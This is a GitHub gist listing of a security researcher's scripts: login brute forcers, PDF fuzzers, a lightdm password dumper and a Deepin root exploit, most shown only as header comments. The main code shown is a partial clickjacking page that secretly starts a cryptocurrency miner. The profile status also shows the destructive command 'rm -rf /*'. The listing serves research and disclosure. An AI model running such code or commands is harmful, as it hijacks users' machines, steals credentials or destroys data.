Skip to content

Instantly share code, notes, and snippets.

View bcoles's full-sized avatar
💭
`rm -rf /*`

bcoles

💭
`rm -rf /*`
View GitHub Profile
@bcoles
bcoles / msfrpcd-brute.rb
Created July 5, 2017 16:27
MSF RPC login brute force
#!/usr/bin/env ruby
#
# MSF RPC login brute force
#
require 'msfrpc-client'
require 'thread'
MAX_THREADS = 3
puts 'MSF RPC login brute force'
@bcoles
bcoles / fuzz.rb
Created July 9, 2017 18:03
Fuzz pdf-reader Ruby gem with mutated PDF files
#!/usr/bin/env ruby
###################################################
# ----------------------------------------------- #
# Fuzz pdf-reader Ruby gem with mutated PDF files #
# ----------------------------------------------- #
# #
# Each test case is written to 'fuzz.pdf' in the #
# current working directory. #
# #
# Crashes and the associated backtrace are saved #
@bcoles
bcoles / miller-fuzz.rb
Created July 9, 2017 21:19
A Ruby port of Charlie Miller's infamous 5 line Python dumb fuzzer
#!/usr/bin/env ruby
#
# A Ruby port of Charlie Miller's infamous 5 line Python dumb fuzzer
# ~ bcoles
=begin
# Original Python code:
numwrites = random.randrange(math.ceil((float(len(buf)) / FuzzFactor))) + 1
for j in range(numwrites):
rbyte = random.randrange(256)
@bcoles
bcoles / brute-teamtalk.rb
Created July 22, 2017 16:43
BearWare TeamTalk login brute force
#!/usr/bin/env ruby
################################################################################
# BearWare TeamTalk login brute force #
# #
# Tested on TeamTalk versions 5.2.2.4885 and 5.2.3.4893 #
# #
# Note: SSL support is implemented but untested #
################################################################################
# ~ bcoles
@bcoles
bcoles / cain-wifi-export-to-csv.rb
Created August 5, 2017 17:47
Cain Wireless Scanner export to CSV
#!/usr/bin/env ruby
################################################################################
# Cain Wireless Scanner export to CSV #
# ----------------------------------- #
# This script takes a text file of wireless networks exported from Cain #
# and converts it to CSV. #
################################################################################
# ~ bcoles
require 'csv'
@bcoles
bcoles / clickjack-authedmine.html
Created October 21, 2017 19:32
Start the AuthedMine JavaScript Monero miner without user consent (using clickjacking)
<html>
<body>
<div id="container" style="border:0;margin:0;position:absolute;width:5px;height:5px;overflow:hidden;cursor:pointer;opacity:0.01">
<iframe style="position:absolute;border:0;width:5px;height:100px;top:-85px;cursor:pointer;" src="https://authedmine.com/media/miner.html?key=your_public_key"></iframe>
</div>
</body>
<script>
window.onmousemove = function(e) {
var container = document.getElementById("container");
@bcoles
bcoles / fuzz.rb
Created November 18, 2017 05:16
Fuzz Origami Ruby gem with mutated PDF files
#!/usr/bin/env ruby
###################################################
# ----------------------------------------------- #
# Fuzz Origami Ruby gem with mutated PDF files #
# ----------------------------------------------- #
# #
# Each test case is written to 'fuzz.pdf' in the #
# current working directory. #
# #
# Crashes and the associated backtrace are saved #
@bcoles
bcoles / crt.sh
Created March 8, 2018 11:07
List sub-domains using crt.sh
#!/bin/bash
# List sub-domains using crt.sh
set -euo pipefail
IFS=$'\n\t'
error() {
echo "[ERROR] $*"
exit 1
}
@bcoles
bcoles / lightdmdump
Created March 11, 2018 05:57
Dump clear text passwords from lightdm sessions on Ubuntu
#!/bin/bash
# lightdmdump
# ---
# Dump clear text passwords from lightdm sessions on Ubuntu
# Requires root privileges to dump lightdm process memory
# Tested on Ubuntu 14.04.1 LTS and 16.04.4 LTS
# ---
# Bug discovered by: Sven Blumenstein
# Disclosure date: 2017-09-15
# Source: https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490
@bcoles
bcoles / lastore-daemon-root.sh
Created March 24, 2018 22:39
Deepin Linux 15.5 lastore-daemon D-Bus Local Root Exploit
#!/bin/bash
# Deepin Linux 15.5 lastore-daemon D-Bus Local Root Exploit
#
# The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any user
# in the sudo group to install arbitrary packages without providing a password,
# resulting in code execution as root. By default, the first user created on
# the system is a member of the sudo group.
# ~ bcoles
#
# Based on exploit by King's Way: https://www.exploit-db.com/exploits/39433/